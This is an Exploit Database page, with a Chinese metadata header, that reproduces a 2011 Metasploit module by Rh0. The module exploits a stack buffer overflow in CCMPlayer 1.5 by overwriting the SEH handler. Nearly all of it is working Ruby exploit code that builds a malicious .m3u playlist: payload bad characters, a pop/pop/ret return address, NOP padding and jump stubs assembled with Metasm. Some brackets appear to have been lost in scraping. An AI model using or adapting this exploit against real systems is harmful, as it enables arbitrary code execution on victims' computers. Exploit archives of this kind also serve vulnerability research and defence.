CCMPlayer 1.5 – ‘.m3u’ Stack Buffer Overflow (SEH) (Metasploit)

Exploit Database
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作者： Rh0

日期： 2011-11-30
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18178/

# Exploit: CCMPlayer 1.5 Stack based Buffer Overflow SEH Exploit (.m3u)

# Date: 30 Nov 2011

# Author: Rh0

# Software: CCMPlayer 1.5

# Tested on: Windows XP SP3 32-Bit EN (VirtualBox)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',

'Description'=> %q{

This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening

a m3u playlist with a long track name, a SEH exception record can be overwritten

with parts of the controllable buffer. SEH execution is triggered after an

invalid read of an injectible address, thus allowing arbitrary code execution.

'License'=> MSF_LICENSE,

'Author' => ['Rh0'], # discovery and metasploit module

'Version'=> '0.0',

'References' =>

[

# for info about "DisapleNops" and "StackAdjustment"

['URL', 'http://dev.metasploit.com/redmine/projects/framework/wiki/PortingExploits'],

# for metasploit fileformat exploit structure and use of Metasm

['URL', 'http://www.exploit-db.com/exploits/18142/']

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space' => 0x1000,

'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\

'DisableNops' => 'True',

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets' =>

[

'CCMPlayer 1.5 on Windows XP SP3 EN',

{

# pop esi / pop ebx / ret (in ccmplay.exe)

# tweak it if necessary

'Ret' => 0x00403ca7, # last NULL in buffer is accepted

'Offset' => 0x1000

}

]

'Privileged' => false,

'DisclosureDate' => '30 Nov 2011', # to my knowledge

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.m3u']),

], self.class)

end

def exploit

m3u = "C:\\"

# shellcode

m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25

m3u << payload.encoded

# junk

m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))

# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)

# to trigger SEH

m3u << [0xffffffff].pack("V")

# pad

m3u << rand_text_alpha_upper(3)

# long jmp: jmp far back to shellcode

m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string

# NSEH: jmp short back to long jmp instruction

m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string

# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)

m3u << rand_text_alpha_upper(2)

# SEH Exception Handler Address -> p/p/r

m3u << [target.ret].pack("V")

m3u << ".mp3\r\n" # no crash without it

print_status("Creating '#{datastore['FILENAME']}' file ...")

# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit

file_create(m3u)

end